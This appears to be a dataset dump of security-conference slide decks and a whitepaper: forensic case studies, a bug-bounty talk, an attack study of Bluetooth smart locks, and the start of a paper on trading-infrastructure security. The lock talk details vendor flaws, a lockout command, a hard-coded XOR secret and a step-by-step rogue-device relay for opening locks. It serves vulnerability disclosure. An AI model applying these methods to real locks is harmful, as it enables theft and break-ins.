text
stringlengths
100
9.93M
category
stringclasses
11 values
FORENSIC FAILS SHIFT + DELETE WON’T HELP YOU HERE ERIC ROBI + MICHAEL PERKLIN DEFCON 21 AUGUST 4, 2013 ABOUT THIS GUY ERIC ROBI Founder of Elluma Discovery - 11 years Forensic Examiner Thousands of exams Expert Witness Likes Cats ABOUT THIS OTHER GUY MICHAEL PERKLIN Senior Investigator / Forensic Examiner Security Professional Thousands of exams Likes to break things ... A Lot AGENDA 7 Stories full of FAIL Learn something about Forensic Techniques Fails brought to you by both THE SUSPECT and THE EXAMINER *Names have been changed to protect the idiots on both sides *Many of the case facts have been changed too. I don’t know why. We don’t need to. It just seemed like a nice thing to do. This presentation required the creation of Teh Fail Matrix 10 5 5 15 35 Fail Matrix Lost the case $$$$ GF left him Personal Fial FAIL #1 - The “Wasn’t Me” Defense Employee Bob worked in sales at Acme He resigned his position and left to work for a competitor Allegation was made that he took Acme’s company list with him FAIL #1 - The “Wasn’t Me” Defense Bob said “I’ve got nothing to hide”. “Come at me bros!”. We began imaging the drive and started planning the examination Look for deleted files in unallocated space Look for ‘recent files’ used by common programs (Word, Excel) Look for USB device insertion Finally the drive finished imaging... DEFCON EXCLUSIVE... New finding! FAIL #1 - The “Wasn’t Me” Defense Bob had used a data destruction program to overwrite every byte of unallocated space on his drive He used a pattern that was not likely to appear through normal use of a Windows operating system The existence of this pattern MIGHT suggest POSSIBLE willful destruction of evidence ...maybe What have we learned... #1 Data destruction software can almost ALWAYS be detected Even if you don’t use a repeating pattern, it’s still detectable We may not know what you destroyed But we definitely know you destroyed SOMETHING Also, mean phrases make people dislike you. 12 12 3 0 27 Fail Matrix Lost the case Under $100K FAIL #2 - The Nickelback Guy Standard case: Allegation of stolen confidential documents Suspect John left NOCFED industries after 3 years to work for a competitor John worked on confidential projects NOCFED was worried John took data to competitor FAIL #2 - The Nickelback Guy Opened HDD to begin analysis Lots of MP3s identified Found the confidential documents (as expected) Almost immediately, something jumped out at me as an examiner (We’ll get into why in a bit...) FAIL #2 - The Nickelback Guy It seems that John assumed that nobody would play his Nickelback MP3s!! (a sound assumption) They are all .avi files with a renamed filename. Clever, kinda What was he hiding??? FAIL #2 - The Nickelback Guy PREGGER PORN!!!! It seemed John did more at work than just work on his confidential project!! What have we learned... #2 Examiners see files in a long list; not a folder/tree structure A “File Signature Analysis” is run that analyzes every file on the HDD It compares the contents of files with the extensions of the filenames Any file with a discrepancy is identified for closer analysis John’s attempt at hiding something put it at the top of the list for analysis 12 13 0 5 Fail Matrix 30 Fail Matrix Lost his job For owning Nickelback FAIL #3 - JUST BILL ME LATER ABC Firm outsourced key part of their business for many years Received bills on an hourly basis. Amounted to several million $ per year on average. Client started bill review project. Suspected some tasks were taking a weeeeee bit too long. Asked us to help FAIL #3 - JUST BILL ME LATER Thousands PDF format invoices not much help. Where to start? Not a lot of clues Ah ha! Located billing database on vendor’s network Forensic copy of database, migrated DB to MSSQL No easy way to compare DB to PDFs. FAIL #3 - JUST BILL ME LATER Reverse engineered tables in DB Noticed audit logs were turned on! Ran many queries of time billed vs. audit logs Noticed that audit logs showed changes to DB Time inflation! Rate inflation! What have we learned #3 Audit logs off by default. Turned ON by IT peeps! Audit logs are the BEST evidence of theft in a DB case. LESSON: Don’t turn on audit logs if you plan to cheat your client! 8 18 15 4 45 Fail Matrix Had to refund the $ Systematic culture of overbilling $12M + refunded FAIL #4 - Smoking Gun.txt Smoking Gun.txt is the gag name of “the file that proves the case” Comes from cheesy western movies where the murderer’s gun is still smoking, proving he fired the shot This case is another intellectual property case Again, an employee left his company to go work for a competitor FAIL #4 - Smoking Gun.txt Imaged the drive Kicked-off standard analysis scripts Opened up his Desktop folder You can tell a lot about a person by the way they organize their Desktop! Immediately solved the case FAIL #4 - Smoking Gun.txt FAIL #4 - Smoking Gun.txt The guy had created a folder filled with data from his previous employer Bonus PowerPoint presentation to bring his new colleagues up-to-speed What have we learned... #4 Sometimes people don’t even try. 18 10 6 12 Fail Matrix 46 Had to settle for $ $1.5M in damages Zero effort! Fail Matrix FAIL #5 - HIDING IN THE CLOUD Top sales guy leaves company. Sales plummet. They suspect he took customer list, but can’t prove it. We image his computer and start looking for the usual clues: FAIL #5 - HIDING IN THE CLOUD Link files: Shows opened files BagMRU - Registry key shows user folder activity Jump lists - Shows opened files (Win 7+) IE history - Shows accessed files NO LOVE. SHOW ME THE LOVE. FAIL #5 - HIDING IN THE CLOUD Searched IE history Found a .htm file containing some javascript pointing to“filesanywhere.com” BINGO! Showed acct ID, upload times, file names FOUND SOME SWEET LOVIN’! (stolen files) FAIL #5 - HIDING IN THE CLOUD //Fill nodes data oNodes[0] = new node(''Stolen_File.txt”, 'file', 'USER\\Eric\ \Test\\','F','','false','74','10/19/2011 3:15:05 PM'); oNodes[1] = new node(''Recipe_for_Coke.txt”, 'file', USER\ \Eric\\Test\\','F','','false','23','10/19/2011 3:15:05 PM'); - Recovered FilesAnywhere Information Timestamp (EDT) Filename Type Destination Folder Size 6/17/10 12:39:26 PM Agents.xls file \\ 2,691,584 6/17/10 12:41:30 PM 0 - Generic flyer.doc file \\New Reps\\ 1,503,744 6/17/10 12:41:30 PM ACCESSSORIAL CHARGE CHANGES.doc file \\New Reps\\ 58,880 6/17/10 12:41:30 PM account review worksheet.xls file \\New Reps\\ 19,968 6/17/10 12:41:30 PM ACI Codes Guide Training.doc file \\New Reps\\ 19,968 6/17/10 12:41:30 PM ACI Codes.xls file \\New Reps\\ 15,872 6/17/10 12:41:30 PM Adding venues.doc file \\New Reps\\ 78,848 6/17/10 12:41:30 PM Adding venues.pdf file \\New Reps\\ 30,741 6/17/10 12:41:31 PM Apples to apples.doc file \\New Reps\\ 25,600 6/17/10 12:41:36 PM Carpet brochure.doc file \\New Reps\\ 2,338,816 6/17/10 12:41:36 PM Carpet brochure.pdf file \\New Reps\\ 215,976 6/17/10 12:41:43 PM Cases and Crates.doc file \\New Reps\\ 3,163,136 6/17/10 12:41:43 PM Cases and Crates.pdf file \\New Reps\\ 241,206 6/17/10 12:41:44 PM CC REQUEST FORM FORM 2010.doc file \\New Reps\\ 353,280 6/17/10 12:41:45 PM CC REQUEST FORM FORM REVISED.doc file \\New Reps\\ 353,792 6/17/10 12:41:46 PM Charges & Specials.doc file \\New Reps\\ 66,048 6/17/10 12:41:46 PM Cold Call Tracker.pdf file \\New Reps\\ 5,219 6/17/10 12:41:46 PM Cold Call Tracker.xls file \\New Reps\\ 15,872 6/17/10 12:41:46 PM Cold calling inquisition.doc file \\New Reps\\ 25,600 6/17/10 12:41:46 PM Cold calling tree.doc file \\New Reps\\ 32,768 6/17/10 12:41:46 PM Cold calling tree.pdf file \\New Reps\\ 8,689 6/17/10 12:41:47 PM Combo.doc file \\New Reps\\ 244,224 6/17/10 12:41:47 PM Combo.pdf file \\New Reps\\ 49,134 6/17/10 12:41:47 PM Conditions of Contract - rev 09-2007.pdf file \\New Reps\\ 25,611 6/17/10 12:41:47 PM Conditions of Contract - rev 09-2007.pdf file \\ 25,611 6/17/10 12:41:47 PM Conditions of Contract (rev 09-2007).doc file \\ 33,280 6/17/10 12:41:47 PM Conditions of Contract (rev 09-2007).doc file \\New Reps\\ 33,280 6/17/10 12:41:47 PM Convention Centers.xls file \\ 30,720 6/17/10 12:41:47 PM Convention Centers.xls file \\New Reps\\ 30,720 6/17/10 12:41:48 PM Credit Card Authorization, 03-29-10.doc file \\ 428,032 6/17/10 12:41:48 PM Credit Card Authorization, 03-29-10.doc file \\New Reps\\ 428,032 6/17/10 12:41:48 PM Customer service questionnaire.doc file \\ 29,184 6/17/10 12:41:48 PM Customer service questionnaire.doc file \\New Reps\\ 29,184 6/17/10 12:41:54 PM Display Pages Catalog.pdf file \\ 2,934,406 6/17/10 12:41:54 PM Display Pages Catalog.pdf file E\\New Reps\\ 2,934,406 6/17/10 12:41:55 PM Domestic Carriers rebuttals.xls file \\ 31,744 6/17/10 12:41:55 PM Domestic Carriers rebuttals.xls file \\New Reps\\ 31,744 6/17/10 12:41:55 PM Domestic Carriers.xls file \\ 54,272 6/17/10 12:41:55 PM Domestic Carriers.xls file \\New Reps\\ 54,272 6/17/10 12:41:55 PM Fax cover sheet.doc file \\ 165,888 6/17/10 12:41:55 PM Fax cover sheet.doc file \\New Reps\\ 165,888 6/17/10 12:41:56 PM Flyer template in header.doc file \\ 417,280 FAIL #5 - HIDING IN THE CLOUD Opposing attorney handed us CD with an Outlook.PST FAIL #5 - HIDING IN THE CLOUD First thing we do is search for deleted emails FAIL #5 - HIDING IN THE CLOUD 10s of thousands of deleted emails Changes the direction of the case 180 degrees #WINNING Who deleted the emails...???? What have we learned #5 IE history is hard to wipe Found a new artifact (filesanywhere) .js files are capable of love too! Uploading files still leaves traces Attorneys shouldn’t mess with evidence! (Especially if they don’t understand how PSTs work) 18 10 8 15 Fail Matrix 51 Huge lawsuit $3.5M in fees and damages Attorney may lose his license Fail Matrix FAIL #6 - The RDP Bounce Was called in to investigate a network breach Some symptoms existed that indicated unauthorized access Large company Windows environment Thousands of PCs in multiple sites around the world FAIL #6 - The RDP Bounce Analyzed one computer known to have been breached Logs showed RDP was used to connect in (Local Admin password) Logs showed RDP was used to connect out Tip of the iceberg??? FAIL #6 - The RDP Bounce Analyzed machine that came before Analyzed machine that came after Started noticing a pattern... FAIL #6 - The RDP Bounce We still wanted to know WHY. What was the target? Followed the chain forward Reached a high-profile machine Target identified. Steal highly-confidential documents FAIL #6 - The RDP Bounce Focused analysis on target machine What did they do? What did they take? Within minutes the attacker was identified How? Credit: http://www.neatorama.com/2009/04/09/massive-old-school-printers/ FAIL #6 - The RDP Bounce By default, RDP maps your printer when connecting to a remote machine This allows you to “print” from their machine to your printer Attacker forgot to turn this off What have we learned... #6 Log entries generated from innocuous system events can give insight into user actions 20 15 8 20 Fail Matrix 63 Lost job Loss of income, no reference Do some research! Fail Matrix FAIL #7 - EPIC PORNO FAIL Edgar charged with possession of contraband on his computer Claims innocence (as usual) Examined the computer and looked at examiner’s report and the allegations: FAIL #7 - EPIC PORNO FAIL Allegations: #1 Edgar downloaded porn #2 Edgar’s user accounts had passwords #3 Edgar utilized newsgroups to download porn (for realz???) FAIL #7 - EPIC PORNO FAIL Allegation #1 Edgar downloaded illegal porn Notable thing: Edgar left his house in April 2012 IE  History File  06/29/2012  11:29:06  Fri  SUSPECT  file:///C:/ Documents%20and%20SeCngs/SUSPECT/Desktop/ DUDE%20profile%20-­‐%20Naughty%20File1.jpg File  07/25/2012  16:41:24  Wed  SUSPECT  file:///C:/ Documents%20and%20SeCngs/SUSPECT/Desktop/ DUDE%20profile%20-­‐%20Naughty%20File2.jpg File  07/25/2012  16:42:17  Wed  SUSPECT  file:///C:/ Documents%20and%20SeCngs/SUSPECT/Desktop/ DUDE%20profile%20-­‐%20Naughty%20File3.jpg P2P  SoTware  -­‐  Download  folder Name:  t-­‐287878478-­‐naughty  file  (sound  -­‐  english)(2).mpg Full  Path:  E\Users\Joe\AppData\Local\Ares\My  Shared  Folder\ t-­‐287878478-­‐naughty  file  (sound  -­‐  english)(2).mpg File  Created  12/17/12  10:32:56  AM Last  Accessed  12/17/12  10:32:56  AM Last  Wri\en  12/17/12  12:57:35  PM FAIL #7 - EPIC PORNO FAIL Allegation #2 Edgar used Outlook Express to download porn FAIL #7 - EPIC PORNO FAIL In reality: Outlook Express set up with account “PornoLuvr”... AFTER Edgar moved out of his house Only headers downloaded in Outlook Express. No content. No photos! (Just file names). FAIL #7 - EPIC PORNO FAIL Allegation #3 Edgar’s user account had a password Inference is that only Edgar had access FAIL #7 - EPIC PORNO FAIL More facts (undiscovered by examiner) P2P client used to download porn... Into a new user account AFTER Edgar moved out of the house FAIL #7 - EPIC PORNO FAIL Our report submitted to prosecutor Government DROPS the charges... YEARS later and after $$$$ legal costs Super Timeline Analysis - SANS & Rob Lee -THANK YOU! FAIL #7 - EPIC PORNO FAIL Government interviews Edgar’s friend Friend confesses Friend tried to frame Edgar to get jiggy with Edgar’s wife!! Court clears Edgar’s name What have we learned... #7 Base conclusions upon ACTUAL EVIDENCE Find multiple artifacts backing up allegations Tie it to a person, not just a machine 25 40 50 100 Fail Matrix Fail Matrix Examiner ineptness City sued for $MM Lawsuit + job security? Court finds suspect innocent 215 FORENSIC FAILS SHIFT + DELETE WON’T HELP YOU HERE ERIC ROBI + MICHAEL PERKLIN DEFCON 21 AUGUST 4, 2013
pdf
Keren Elazari aka @K3r3n3 www.K3r3n3.com @K3r3n3 TAKE THE RED PILL? Source : “25 Years Of Vulnerabilities: 1988-2012 Sourcefire Research Report” Solution: Secure What Matters! Life Rights CritInfr IP PII CCN Counter- measures Situational Awareness Operational Excellence Defensible Infrastructure REPLACEABILITY Original Model by Joshua Corman https://www.iamthecavalry.org/ Solution: Don’t Keep Your Bugs To Yourself https://bugcrowd.com/list-of-bug-bounty-programs The Internet Bug Bounty https://hackerone.com/ibb Solution: Stop, Collaborate and Share Image by Chris Halderman CC BY 3.0 Solution : Empower The Masses Image by Scoobay CC BY-NC-SA 2.0 Image: Crobis, The Economist Solution: Mind The Gap Secure What Matters Don’t Keep Your Bugs To Yourself Collaborate & Share Empower The Masses Stop The Spread Of FUD Bonus Points: One Million Security Professionals Needed! Source : Cisco 2014 Annual Security Report
pdf
>>> Picking Bluetooth Low Energy Locks from a Quarter Mile Away Anthony Rose & Ben Ramsey [1/42] >>> whoami [2/42] * Anthony Rose - Researcher, Merculite Security - Lockpicking hobbyist - BS in Electrical Engineering - Prior work: Wireless video traffic analysis - Currently focused on BLE security * Ben Ramsey - Research Director, Merculite Security - Wireless geek - PhD in Computer Science - Recent work: Z-Wave attacks -DerbyCon 2015 -ShmooCon 2016 -PoC||GTFO 12 >>> Overview 1. Goals 2. What is Bluetooth Low Energy? 3. Why Should I Care? 4. Exploits 5. Demo 6. Takeaways & Future Work 7. Questions [3/42] >>> Goals [4/42] * Identify vulnerabilities in BLE smart locks * Release proof of concept exploits * Put pressure on vendors to improve security * Raise consumer awareness >>> What is Bluetooth Low Energy? [5/42] * Designed for apps that don’t need to exchange large amounts of data * Minimal power consumption * Operates at 2.4 GHz (same as Bluetooth Classic) * Short range (<100m) >>> What is Bluetooth Low Energy? [6/42] * GATT (Generic Attribute Profile) - Client sends requests to GATT server - Server stores attributes >>> Why Should I Care? [7/42] * Widely used and gaining popularity * Securing homes and valuables * Current BLE "security" products: - Deadbolts - Bike locks - Lockers - Gun Cases - Safes - ATMs - Airbnb >>> Who is Using BLE? [8/42] >>> Bluetooth Hacking is Affordable [9/42] * Ubertooth One - $100 * Bluetooth Smart USB dongle - $15 * Raspberry Pi - $40 * High gain directional antenna - $50 >>> Ubertooth One [10/42] * Created by Michael Ossmann * Open source Bluetooth tool * First affordable Bluetooth monitoring and development platform * Promiscuous sniffing * BLE receive only capability (with current firmware) >>> Wardriving [11/42] * Ubertooth + high gain directional antenna * Bluetooth dongle * Easy deployment * Long range (1/4+ mile) * Concealable * Warflying with drones... >>> Wardriving [12/42] >>> Wardriving [12/42] >>> Uncracked Locks [13/42] * Noke Padlock * Masterlock Padlock * August Doorlock * Kwikset Kevo Doorlock >>> Uncracked Locks [13/42] * Noke Padlock * Masterlock Padlock * August Doorlock - hard-coded key * Kwikset Kevo Doorlock Discovered by Paul Lariviere & Stephen Hall >>> Uncracked Locks [13/42] * Noke Padlock * Masterlock Padlock * August Doorlock * Kwikset Kevo Doorlock - fragile >>> Features of "Uncrackable" Locks [14/42] * Proper AES Encryption * Truly random nonce (8-16 bytes) * 2-factor authentication * No hard-coded passwords * Long passwords allowed - 16-20 characters >>> Vulnerable Devices [15/42] * Plain Text Password - Quicklock Doorlock & Padlock v1.5 - iBluLock Padlock v1.9 - Plantraco Phantomlock v1.6 * Replay Attack - Ceomate Bluetooth Smart Doorlock v2.0.1 - Elecycle EL797 & EL797G Smart Padlock v1.8 - Vians Bluetooth Smart Doorlock v1.1.1 - Lagute Sciener Smart Doorlock v3.3.0 >>> Vulnerable Devices [16/42] * Fuzzing - Okidokey Smart Doorlock v2.4 * Decompiliing APKs - Poly-Control Danalock Doorlock v3.0.8 * Device Spoofing - Mesh Motion Bitlock Padlock v1.4.9 >>> Connection Sniffing [17/42] * Ubertooth used for sniffing * Must be listening on an advertisement channel (37, 38, 39) and follow a connection - Use 3 Ubertooths (Uberteeth?), 1 on each advertisement channel * Passively listen to conversation between the App and Lock User Device >>> Python Implementation [18/42] * Communicates directly to the HCI * Allows implementation of additional commands and functions - 20+ commands thus far * Spoofing (BD Addr and Host Name) * Role reversal * Connection oriented channels * ...and more! >>> Plain Text Passwords [19/42] * Are they even trying? * Found on 4 separate locks - Quicklock Doorlock - Quicklock Padlock - iBluLock Padlock - Plantraco Phantomlock 001234567812345678 Opcode Current Password New Password >>> Plain Text Passwords [19/42] * Are they even trying? * Found on 4 separate locks - Quicklock Doorlock - Quicklock Padlock - iBluLock Padlock - Plantraco Phantomlock 001234567812345678 Opcode Current Password New Password >>> Admin Privileges [20/42] * Can change admin password >>> Admin Privileges [20/42] * Can change admin password - 011234567866666666 >>> Admin Privileges [20/42] * Can change admin password - 011234567866666666 * Locks out owner with new password >>> Admin Privileges [20/42] * Can change admin password - 011234567866666666 * Locks out owner with new password * Requires hard reset (battery removal) >>> Admin Privileges [20/42] * Can change admin password - 011234567866666666 * Locks out owner with new password * Requires hard reset (battery removal) - Only possible if lock is already open >>> Admin Privileges [20/42] * Can change admin password - 011234567866666666 * Locks out owner with new password * Requires hard reset (battery removal) - Only possible if lock is already open >>> A Wild Plain Text Password Appears [21/42] >>> A Wild Plain Text Password Appears [21/42] >>> A Wild Plain Text Password Appears [21/42] >>> A Wild Plain Text Password Appears [21/42] Password is 69696969??? >>> A Wild Plain Text Password Appears [21/42] Password is 69696969??? >>> Brute Forcing [22/42] * When all else fails, throw everything at it * Quicklock - 8 digit pin - 100,000,000 combos * iBluLock - 6 character password - A LOT! * Solution - Common pins (11111111, 12345678, 69696969, ...) - Phone numbers - Street address - Wordlists >>> Replay Attacks [23/42] * Claim "encryption" is being used >>> Replay Attacks [23/42] * Claim "encryption" is being used * Who cares what they are sending as long as it opens! >>> Replay Attacks [23/42] * Claim "encryption" is being used * Who cares what they are sending as long as it opens! * Vulnerable Devices - Ceomate Bluetooth Smartlock - Elecycle Smart Padlock - Vians Bluetooth Smart Doorlock - Lagute Sciener Smart Doorlock >>> Replay Attacks [23/42] * Claim "encryption" is being used * Who cares what they are sending as long as it opens! * Vulnerable Devices - Ceomate Bluetooth Smartlock - Elecycle Smart Padlock - Vians Bluetooth Smart Doorlock - Lagute Sciener Smart Doorlock >>> Fuzzing Devices [24/42] * Change bytes of a valid command * See if we can get lock to enter "error state" * Vulnerable Device - Okidokey Smart Doorlock >>> Fuzzing Devices [25/42] * Okidokey’s claim of "security" - "uses highly secure encryption technologies, similar to banking and military standards (including AES 256-bit and 3D Secure login), combined with proven and patented cryptographic solutions" >>> Fuzzing Devices [25/42] * Okidokey’s claim of "security" - "uses highly secure encryption technologies, similar to banking and military standards (including AES 256-bit and 3D Secure login), combined with proven and patented cryptographic solutions" >>> Fuzzing Devices [25/42] * Sniff a valid command - The key is not "unique" 9348b6cad7299ec1481791303d7c90d549352398 Opcode? "Unique" key Valid Command >>> Fuzzing Devices [25/42] * Sniff a valid command * Intricate fuzzing script (days? weeks? months?!?) 9348b6cad7299ec1481791303d7c90d549352398 Opcode? "Unique" key Valid Command >>> Fuzzing Devices [25/42] * Sniff a valid command * Intricate fuzzing script (days? weeks? months?!?) * Change 3rd byte to 0x00 9348b6cad7299ec1481791303d7c90d549352398 Opcode? "Unique" key Valid Command Modified Command >>> Fuzzing Devices [25/42] * Sniff a valid command * Intricate fuzzing script (days? weeks? months?!?) * Change 3rd byte to 0x00 * Lock enters error state and opens 9348b6cad7299ec1481791303d7c90d549352398 Opcode? "Unique" key Valid Command Modified Command >>> Fuzzing Devices [25/42] * Sniff a valid command * Intricate fuzzing script (days? weeks? months?!?) * Change 3rd byte to 0x00 * Lock enters error state and opens * Unusable to user while in error state >>> Fuzzing Devices [25/42] * Sniff a valid command * Intricate fuzzing script (days? weeks? months?!?) * Change 3rd byte to 0x00 * Lock enters error state and opens * Unusable to user while in error state * "Patented" crypto is XOR? >>> Fuzzing Devices [25/42] * Sniff a valid command * Intricate fuzzing script (days? weeks? months?!?) * Change 3rd byte to 0x00 * Lock enters error state and opens * Unusable to user while in error state * "Patented" crypto is XOR? >>> Decompiling APKs [26/42] * Download APKs from Android device * Convert dex to jar * Decompile jar - JD-GUI - Krakatau - Bytecode Viewer >>> Decompiling APKs [27/42] * Vulnerable Device - Danalock Doorlock >>> Decompiling APKs [27/42] * Vulnerable Device - Danalock Doorlock * Reveals encryption method and hard coded password - "thisisthesecret" >>> Decompiling APKs [27/42] * Vulnerable Device - Danalock Doorlock * Reveals encryption method and hard coded password - "thisisthesecret" * XOR(password,thisisthesecret) >>> Decompiling APKs [27/42] * Vulnerable Device - Danalock Doorlock * Reveals encryption method and hard coded password - "thisisthesecret" * XOR(password,thisisthesecret) >>> Web Servers User Lock Web Server [28/42] * Utilizes a Web Server to generate passwords * Requires internet to communicate and retrieve passwords * Becoming more widely used - Kwikset Kevo Doorlock - Noke Smart Padlock - Masterlock Smart Padlock - August Smart Doorlock - Mesh Motion Bitlock Padlock >>> Rogue Devices [29/42] * Impersonate lock to steal password from user * Requires: - Raspberry Pi or Laptop - Bluez - Bleno - LightBlue Explorer * Mobile and (Somewhat) Undetectable * Vulnerable Device - Mesh Motion Bitlock Padlock * This is possible due to a predictable nonce * App is running in the background and sends commands without user interaction >>> How Did We Do It? Attacker Bitlock (1) Connect [30/42] * Connect to Bitlock * Scan for Primary Services & Characteristics * Build copy of device in Bleno >>> How Did We Do It? Attacker Bitlock (1) Connect [30/42] * Connect to Bitlock * Scan for Primary Services & Characteristics * Build copy of device in Bleno >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n [30/42] * Read current nonce from notification * Send invalid password >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 [30/42] * Invalid password increments nonce again >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect [30/42] * Follow target and setup impersonated lock * Receive connection from user >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 [30/42] * Send nonce notification to user * Value doesn’t have to be only n+2, it could be n+10 or n+100 >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 [30/42] * Nonce sent from user to Bitlock’s server >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 (7) Enc(n+2) [30/42] * Encrypted nonce is sent back to the user >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 (7) Enc(n+2) (8) Enc(n+2) [30/42] * Encrypted nonce is sent to attacker >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 (7) Enc(n+2) (8) Enc(n+2) [30/42] >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 (7) Enc(n+2) (8) Enc(n+2) (9 ) C o n ne ct [30/42] * Return to lock >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 (7) Enc(n+2) (8) Enc(n+2) (9 ) C o n ne ct ( 1 0 ) n + 2 [30/42] * Receive current nonce >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 (7) Enc(n+2) (8) Enc(n+2) (9 ) C o n ne ct ( 1 0 ) n + 2 ( 1 1 ) E n c ( n + 2 ) [30/42] * ...and it opens >>> How Did We Do It? Attacker Bitlock (1) Connect (2) n (3) n+1 User (4) Connect (5) n+2 Web Server (6) n+2 (7) Enc(n+2) (8) Enc(n+2) (9 ) C o n ne ct ( 1 0 ) n + 2 ( 1 1 ) E n c ( n + 2 ) [30/42] >>> Rogue Devices [31/42] * Deployment in high traffic areas (Coffee Shop or Universities) * Theoretically possible to retrieve password from user and steal bike before they return >>> Test Run Bike [32/42] * University in Midwest * 4 bikes on campus (Summertime) * Capacity 88 bikes * Any user can see bikes within a bikeshare >>> Test Run Bike [33/42] >>> Test Run Bike [34/42] >>> Test Run Bike [35/42] >>> Test Run Bike [35/42] Device Name >>> Test Run Bike [35/42] Device Name >>> Test Run Bike [35/42] Device Name Nonce >>> Test Run Bike [36/42] * Disclaimer: We did not open any locks that do not belong to us ... >>> Rogue Device Way Ahead Rogue Device 2 Rogue Device 1 User Lock Web Server [37/42] WiFi, LTE, Etc >>> Locating Devices [38/42] * BlueFinder - Open-source tool - Determines the distance (meters) to a Bluetooth device through RSS - Active or Passive Modes - ~100 samples/sec used to estimate distance - Mean error ~24% (e.g., +/- 3m at d = 12m) >>> How do we find these devices? [39/42] 0 100 200 300 400 500 600 700 800 Distance (m) -90 -80 -70 -60 -50 -40 -30 -20 RSS (dBm) Model P = 2.0 Mean RSS Wireless Demo [40/42] >>> Takeaways & Future Work [41/42] * Takeaways - Vendors prioritized physical robustness over wireless security - 12/16 locks had insufficient BLE security - Recommendation: disable phone’s Bluetooth when not in use * Future Work - Extract pattern of life using history logs - Dynamic profiles for rogue device - Extended python functionality - Evaluate Bluetooth ATM locks >>> Questions? [42/42] Code: github.com/merculite/BLE-Security Have comments, compliments, or cash? Contact us: team @ merculite.net
pdf
Push  The  Stack  Consulting http://pushthestack.com Security When Nanoseconds Count a  whitepaper  on  the  security  issues  and challenges  with  next  generation  finance  and  trading  infrastructures Blackhat  USA  Briefings  2011 Abstract There's  a  brave  new  frontier  for  IT  Security  -­‐  a  place  where  "best  practices"  do not  contemplate  the  inclusion  of  a  firewall  in  the  network.  This  frontier  is  found  in  the most  unlikely  of  places,  where  it  is  presumed  that  IT  Security  is  a  mature  practice. Banks,  Financial  Institutions  and  Insurance  Companies.  High  Speed  Trading,  High Frequency  Trading,  Low  Latency  Trading,  Algorithmic  Trading  -­‐-­‐  all  words  for electronic  trades  committed  in  microseconds  without  the  intervention  of  humans. There  are  no  firewalls,  everything  is  custom  and  none  of  it  is  secure.  It's  SkyNet  for Money  and  it's  happening  now. Introduction Throughout  the  course  of  modern  financial  times,  technology  has  influenced  the development  and  maturity  of  all  markets,  from  the  chalk  boards  and  runners  of  the  late 1700s  to  the  current  trend  towards  incredibly  quick  trades  performed  entirely  within electronic  systems  without  any  human  intervention. The  communications  revolution  of  the  1800s  brought  about  swift  changes  from the  carrier  pigeons  used  by  Reuters  in  the  early  part  of  the  century  to  the  first  telegraph based  ticker  systems  of  the  1860s.  Advances  through  the  early  and  mid  20th  century lead  to  the  introduction  of  computers  as  the  trusted  stores  of  data  on  trade  pricing, volumes,  opening  and  closing  prices  and  more. The  electronic  nature  of  stock  markets  became  part  of  most  people’s  general awareness  with  the  opening  of  the  NASDAQ  exchange  in  the  early  1970s  and  the  move to  the  electronic  small  order  execution  system  in  the  late  1980s. Security  When  Nanoseconds  Count  -­‐  Blackhat  USA  Briefings  2011 2011-­‐07-­‐13 Page  2 Arlen-­‐SecurityWhenNanosecondsCount-­‐Whitepaper-­‐v1.docx High  frequency  trading  likely  started  in  concert  with  changes  initiated  by  the  US Securities  and  Exchange  Commission  in  1998  to  permit  electronic  trading.  The  majority of  the  strategies  in  high  frequency  trading  are  related  to  time  arbitrage  –  the  ability  to make  (or  lose)  money  based  on  minute  differences  in  time  between  the  time information  is  available  and  the  time  it  is  widely  known. The  speed  of  trading,  and  therefore  the  available  time  in  which  to  complete  the calculations  necessary  for  time-­‐based  arbitrage,  has  been  shrinking  at  an  accelerated pace  over  the  last  50  years.  With  the  advent  of  rapid  communications,  stock  quotation systems  and  computer  mediated  order  management,  the  time  to  complete  a  trade  was brought  from  hours  to  minutes  to  seconds.  The  shift  from  seconds  to  100s  of microseconds  has  happened  relatively  quickly.  The  fact  that  a  dollar  value  can  be assigned  to  the  length  of  time  available  for  arbitrage  is  an  indication  that  we’re reaching  the  end-­‐game  on  time-­‐based  arbitrage.  Estimates  on  the  value  of  a millisecond  of  unnecessary  latency  range  wildly.  Simply  stated  –  never  before  in  the course  of  human  history  has  a  microsecond  been  worth  quite  as  many  millions  of dollars. Security  When  Nanoseconds  Count  -­‐  Blackhat  USA  Briefings  2011 2011-­‐07-­‐13 Page  3 Arlen-­‐SecurityWhenNanosecondsCount-­‐Whitepaper-­‐v1.docx Low Latency Infrastructure Patterns Understanding  that  the  number  of  microseconds  to  complete  the  calculations necessary  to  take  a  position  in  the  market  with  the  intent  to  arbitrage  in  time  is  a  fact, grasping  what  that  means  literally  is  still  a  very  emotional  and  qualitative  discussion. ‡ If  you  are  able  to  complete  trades  in  seconds,  you  have  no  position. ‡ If  you  are  able  to  complete  trades  in  milliseconds,  you  lose  nearly  every  time. ‡ If  you  are  able  to  complete  trades  in  100s  of  microseconds,  you’re  a  bit  player and  missing  a  lot  of  action. ‡ If  you  are  able  to  complete  trades  in  10s  of  microseconds,  you’re  usually winning. The  predictability  of  the  connection  is  nearly  as  important  as  the  absolute latency  value.  If  the  connection  is  fast  enough  80%  of  the  time  but  too  slow  the  other 20%  of  the  time,  you  cannot  ensure  that  your  trades  will  result  in  the  desired  outcome  – you  have  a  20%  chance  of  failing  on  every  single  trade.  This  indeterminism  is  usually composed  of  jitter,  packet-­‐loss,  and  inefficient  protocols  (such  as  TCP.)  Remember  that a  dropped  packet  is  dropped  cash. This  need  for  low  latency  and  predictable  performance  drives  a  certain  set  of infrastructure  design  choices.  